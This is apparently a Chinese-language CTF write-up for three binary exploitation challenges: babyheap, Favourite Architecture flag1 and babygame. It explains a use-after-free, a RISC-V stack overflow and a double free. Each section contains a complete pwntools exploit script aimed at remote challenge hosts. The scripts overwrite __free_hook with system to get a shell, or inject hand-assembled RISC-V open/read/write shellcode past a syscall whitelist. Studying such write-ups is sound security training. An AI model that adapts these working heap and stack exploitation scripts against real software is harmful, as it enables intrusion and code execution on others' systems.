感谢xmzyshypnc 师傅和xxrw师傅手把手教学。
babyheap
漏洞是一个UAF漏洞，程序实现了6个程序，add,delete,edit,show,leave_name,show_name，其中add函数限制了申请堆块的大小，delete函数中存在UAF漏洞，leave_name函数中申请了一个0x400大小的堆块。
因此这里首先申请4个0x20,fastbin，接着leave_name函数申请一个较大的堆块，使得fastbin堆块合并成0x80大小的small bin，这样就能泄漏出libc基址，由于edit的起始位置是+8开始的，因此再次申请的堆块大小需要覆盖三个fastbin，因此申请一个0x60大小的堆块。这样就可以满足覆写fd指针为free_hook-8和/bin/sh字符串两个要求。
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xdd9)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('52.152.231.198', 8081)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def add(index, size):
p.sendlineafter(">> \n", "1")
p.sendlineafter("input index\n", str(index))
p.sendlineafter("input size\n", str(size))
def delete(index):
p.sendlineafter(">> \n", "2")
p.sendlineafter("input index\n", str(index))
def edit(index, content):
p.sendlineafter(">> \n", "3")
p.sendlineafter("input index\n", str(index))
p.sendafter("input content\n", content)
def show(index):
p.sendlineafter(">> \n", "4")
p.sendlineafter("input index\n", str(index))
def leave_name(name):
p.sendlineafter(">> \n", "5")
p.sendafter("your name:\n", name)
def show_name():
p.sendlineafter(">> \n", "6")
for i in range(11):
add(i, 0x18)
for i in range(7):
delete(i + 4)
delete(0)
delete(1)
delete(2)
delete(3)
leave_name("1212")
show(0)
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 0xd0 - 0x10 - libc.sym['__malloc_hook']
for i in range(7):
add(i + 4, 0x18)
# gdb.attach(p, "b *$rebase(0xdd9)")
log.success("libc address is {}".format(hex(libc.address)))
add(11, 0x60)
delete(1)
payload = b"a"*0x10 + p64(0x61) + p64(libc.sym['__free_hook'] - 0x8)
payload += b"b"*0x10 + p64(0x21) + b"/bin/sh\x00"
edit(11, payload)
add(12, 0x50)
add(13, 0x50)
edit(13, p64(libc.sym['system']))
delete(2)
p.interactive()
Favourite Architecure flag1
riscv栈溢出的漏洞，但是ghidra反编译失败，不知道咋回事。漏洞存在于输入flag的地方。
00010436 b7 e7 04 00 lui a5=>DAT_0004e000,0x4e = FFh
0001043a 13 85 07 89 addi a0=>s_Input_the_flag:_0004d890,a5,-0x770 = "Input the flag: "
0001043e ef 50 d0 41 jal ra,FUN_0001605a //output()
00010442 93 07 84 ed addi a5,s0,-0x128 //<< input_falg str
00010446 3e 85 c.mv a0,a5
00010448 ef 60 20 61 jal ra,read //read()
0001044c 93 07 84 ed addi a5,s0,-0x128
00010450 3e 85 c.mv a0,a5
00010452 ef 00 21 09 jal ra,strlen //strlen()
00010456 aa 86 c.mv a3,a0
00010458 03 a7 01 86 lw a4,-0x7a0(gp)
0001045c 83 a7 41 86 lw a5,-0x79c(gp)
00010460 b9 9f c.addw a5,a4
00010462 81 27 c.addiw a5,0x0
00010464 82 17 c.slli a5,0x20
00010466 81 93 c.srli a5,0x20
00010468 63 94 f6 10 bne a3,a5,LAB_00010570 //不等于0x59就跳转
//...
LAB_00010570 XREF[1]: 00010468(j)
00010570 01 00 c.nop
00010572 21 a0 c.j LAB_0001057a
//...
LAB_0001057a XREF[2]: 00010572(j), 00010576(j)
0001057a b7 e7 04 00 lui a5=>DAT_0004e000,0x4e = FFh
0001057e 13 85 87 8f addi a0=>s_You_are_wrong_._._0004d8f8,a5,-0x70= "You are wrong ._."
00010582 ef 60 60 64 jal ra,FUN_00016bc8 //output()
00010586 85 47 c.li a5,0x1
LAB_00010588 XREF[1]: 0001056e(j)
00010588 3e 85 c.mv a0,a5
0001058a fe 70 c.ldsp ra,0x1f8(sp)
0001058c 5e 74 c.ldsp s0,0x1f0(sp)
0001058e 13 01 01 20 addi sp,sp,0x200
00010592 82 80 ret
从第一层的逻辑看来，首先是read了一个很长的字符串（注意到这里的函数不一定是read，功能类似）。但是分配的长度才是0x128字节大小，因此这里可以溢出。并且如果我们输入的长度不为0x59那么直接会跳转到错误输出的位置之后结束进程，在结束进程的时候读取了sp+0x1f8的位置的值作为返回地址，因此我们可以直接溢出到返回地址。那么接下来就是如何利用的问题。
注意到题目给出的patch文件
diff --git a/linux-user/syscall.c b/linux-user/syscall.c
index 27adee9..2d75464 100644
--- a/linux-user/syscall.c
+++ b/linux-user/syscall.c
@@ -13101,8 +13101,31 @@ abi_long do_syscall(void *cpu_env, int num, abi_long arg1,
print_syscall(cpu_env, num, arg1, arg2, arg3, arg4, arg5, arg6);
}
- ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,
- arg5, arg6, arg7, arg8);
+ switch (num) {
+ // syscall whitelist
+ case TARGET_NR_brk:
+ case TARGET_NR_uname:
+ case TARGET_NR_readlinkat:
+ case TARGET_NR_faccessat:
+ case TARGET_NR_openat2:
+ case TARGET_NR_openat:
+ case TARGET_NR_read:
+ case TARGET_NR_readv:
+ case TARGET_NR_write:
+ case TARGET_NR_writev:
+ case TARGET_NR_mmap:
+ case TARGET_NR_munmap:
+ case TARGET_NR_exit:
+ case TARGET_NR_exit_group:
+ case TARGET_NR_mprotect:
+ ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,
+ arg5, arg6, arg7, arg8);
+ break;
+ default:
+ printf("[!] %d bad system call\n", num);
+ ret = -1;
+ break;
+ }
if (unlikely(qemu_loglevel_mask(LOG_STRACE))) {
print_syscall_ret(cpu_env, num, ret, arg1, arg2,
我们看到其只允许调用特定的系统调用，也就是我们只能编写orw shellcode，而程序没有开启pie，也就是栈地址固定不变（需要注意的是本地栈地址和远程不一样，因此需要添加滑板指令）。
shellcode的编写参考网上的shellcode
.section .text
.globl _start
.option rvc
_start:
#open
li a1,0x67616c66 #flag
sd a1,4(sp)
addi a1,sp,4
li a0,-100
li a2,0
li a7, 56 # __NR_openat
ecall
# read
c.mv a2,a7
addi a7,a7,7
ecall
# write
li a0, 1
addi a7,a7,1
ecall
10078: 676175b7 lui a1,0x67617
1007c: c665859b addiw a1,a1,-922
10080: 00b13223 sd a1,4(sp)
10084: 004c addi a1,sp,4
10086: f9c00513 li a0,-100
1008a: 4601 li a2,0
1008c: 03800893 li a7,56
10090: 00000073 ecall
10094: 8646 mv a2,a7
10096: 089d addi a7,a7,7
10098: 00000073 ecall
1009c: 4505 li a0,1
1009e: 0885 addi a7,a7,1
100a0: 00000073 ecall
最终的exp
# encoding=utf-8
from pwn import *
file_path = "./main"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process(["./qemu-riscv64", "-g", "1234", file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('119.28.89.167', 60001)
stack = 0x4000800c70
nop = p32(0x00000013)
p.recvuntil("Input the flag: ")
payload = b"a"*0x118
payload += p64(stack)*2
shellcode = nop * 0xd0
shellcode += p32(0x676175b7) + p32(0xc665859b) + p32(0x00b13223)
shellcode += p16(0x004c) + p32(0xf9c00513) + p16(0x4601)
shellcode += p32(0x03800893) + p32(0x00000073) + p16(0x8646)
shellcode += p16(0x089d) + p32(0x00000073) + p16(0x4505) + p16(0x0885) + p32(0x00000073)
payload += shellcode
p.sendline(payload)
p.interactive()
babygame
程序实现了一个类似于迷宫的操作，提供了如下的几种功能
h
Sokoban
How to Play:
Push all boxs into target place
Map:
1)█:wall
2)○:Target
3)□:Box
4)♀:Player
5)●:Box on target
Command:
1)h: show this message
2)q: quit the game
3)w: move up
4)s: move down
5)a: move left
6)d: move right
7)b: move back
8)m: leave message
k)n: show name
10)l: show message
目前逆向出的game结构体如下，其中map另有结构体存储。
00000000 game struc ; (sizeof=0x50, mappedto_7)
00000000 map_vector_start dq ?
00000008 current_vector dq ?
00000010 vector_end dq ?
00000018 start_time dq ?
00000020 end_time dq ?
00000028 cost_time dq ?
00000030 level dd ?
00000034 unknown dd ?
00000038 step_forward db ?
00000039 is_quit db ?
0000003A db ? ; undefined
0000003B db ? ; undefined
0000003C db ? ; undefined
0000003D db ? ; undefined
0000003E db ? ; undefined
0000003F db ? ; undefined
00000040 map dq ?
00000048 message dq ?
00000050 game ends
程序的主要逻辑如下
__int64 __usercall main@<rax>(__int64 a1@<rdi>, char **a2@<rsi>, char **a3@<rdx>, unsigned int a4@<r12d>)
{
__int64 v4; // rdi
char v6; // [rsp+Eh] [rbp-2h]
v6 = 1;
while ( v6 )
{
game_func(a4);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "restart?");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
if ( (unsigned __int8)get_input_filter(v4, &std::endl<char,std::char_traits<char>>) != 121 )
v6 = 0;
}
return 0LL;
}
unsigned __int64 __usercall game_func@<rax>(unsigned int a1@<r12d>)
{
unsigned __int64 result; // rax
char v2; // [rsp+0h] [rbp-90h]
unsigned __int64 v3; // [rsp+78h] [rbp-18h]
v3 = __readfsqword(0x28u);
init_game((game *)&v2, 0);
game_start((game *)&v2, 0LL, a1);
result = leave_name((__int64)&v2);
__readfsqword(0x28u);
return result;
}
void __usercall game_start(game *a1@<rdi>, unsigned __int64 a2@<rsi>, unsigned int a3@<r12d>)
{
char num; // ST1F_1
game *a1a; // [rsp+8h] [rbp-18h]
a1a = a1;
sub_FE91();
a1->step_forward = 1;
a1->level = -1;
while ( !a1a->is_quit )
{
while ( a1a->level == -1 && !a1a->is_quit )
{
num = get_input((__int64)a1, (void *)a2);
a2 = (unsigned int)num;
a1 = a1a;
detec_error_quit(a1a, num);
}
if ( a1a->is_quit )
break;
get_map(a1a);
handle_step(a1a, a3);
a1 = a1a;
put_map_vector(a1a);
}
sub_FE98();
}
unsigned __int64 __fastcall leave_name(game *a1)
{
__int64 v1; // rdi
__int64 v2; // rax
game *v4; // [rsp+8h] [rbp-48h]
__int64 name; // [rsp+20h] [rbp-30h]
unsigned __int64 v6; // [rsp+48h] [rbp-8h]
v4 = a1;
v6 = __readfsqword(0x28u);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "leave your name?");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
if ( (unsigned __int8)get_input_filter(v1, &std::endl<char,std::char_traits<char>>) == 'y' )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "your name:");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&name);
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, &name);
put_name_to_vector((game *)&::a1, (__int64)&name);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&name, &name);
}
clear_map_vector(v4);
operator delete((void *)v4->message);
sub_C026(v4);
return __readfsqword(0x28u) ^ v6;
}
程序存在两个漏洞，一个是算是message脏数据。首先在init_game函数中为game->message分配空间的时候并没有清空内存中的数据，而message的堆块大小为0x510，也就是说释放之后重新申请即可以泄漏得到libc基址。程序恰好存在restart的情况，因此我们可以据此泄漏得到libc基址。
send_level("q")
send_order("n")
send_order("y")
send_level("l")
p.recvuntil("message:")
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))
另一个就是map+0xe0处保存指针的double free漏洞。该处的漏洞是在调试中发现的，在update level之后会退出会出现一个double free的漏洞，堆块的大小是0x60。那么接下来就是double free如何利用的问题了。我们能够进行任意堆块分配的就是message了。但是程序中采用的是cin进行读取的，不能覆盖到0x60的堆块。但是我们看到在读取得到message之后会将其put vector。在该函数中会按照我们输入的message的长度进行堆块申请
if ( current_vector_c )
current_vector_c = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
current_vector_c,
name_c);
这里就达到了我们任意申请堆块的目的。下面就是正常的double free的操作了。这里注意的是put_name_vector函数调用结束之后就是name的析构函数。
put_name_to_vector((game *)&::a1, (__int64)&name);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(
(__int64)&name,
(__int64)&name);
在我们覆写完毕free_hook之后此处是第一次调用的位置（需要注意name vector的扩展情况），因此我们将name的起始八个字节改为/bin/sh，覆写的fd指针自然变为free_hook-0x8。
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xB56b)\nb *$rebase(0xB166)\nb *$rebase(0xa70d)\nb *$rebase(0xb06f)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('52.152.231.198', 8082)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def send_order(order):
p.sendlineafter("Please input an order:\n", order)
def send_level(level):
p.sendlineafter("Please input an level from 1-9:\n", level)
def leave_name(name):
p.sendlineafter("your name:", name)
send_level("q")
send_order("n")
send_order("y")
send_level("l")
p.recvuntil("message:")
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))
send_level("1")
send_order("2")
send_order("q")
send_order("n")
leave_name(b"a"*0x70) # name vector 1, ex
send_order("y")
send_level("1")
send_order("q")
send_order("y")
leave_name(p64(libc.sym['__free_hook']- 0x8).ljust(0x50, b"\x00")) # name vector 2, ex
send_order("y")
send_level("1")
send_order("q")
send_order("y")
leave_name(b"a"*0x50) # name vector 3, ex
send_order("y")
send_level("1")
send_order("q")
send_order("y")
leave_name((b"/bin/sh\x00" + p64(libc.sym['system'])).ljust(0x50, b"\x00"))
p.interactive()
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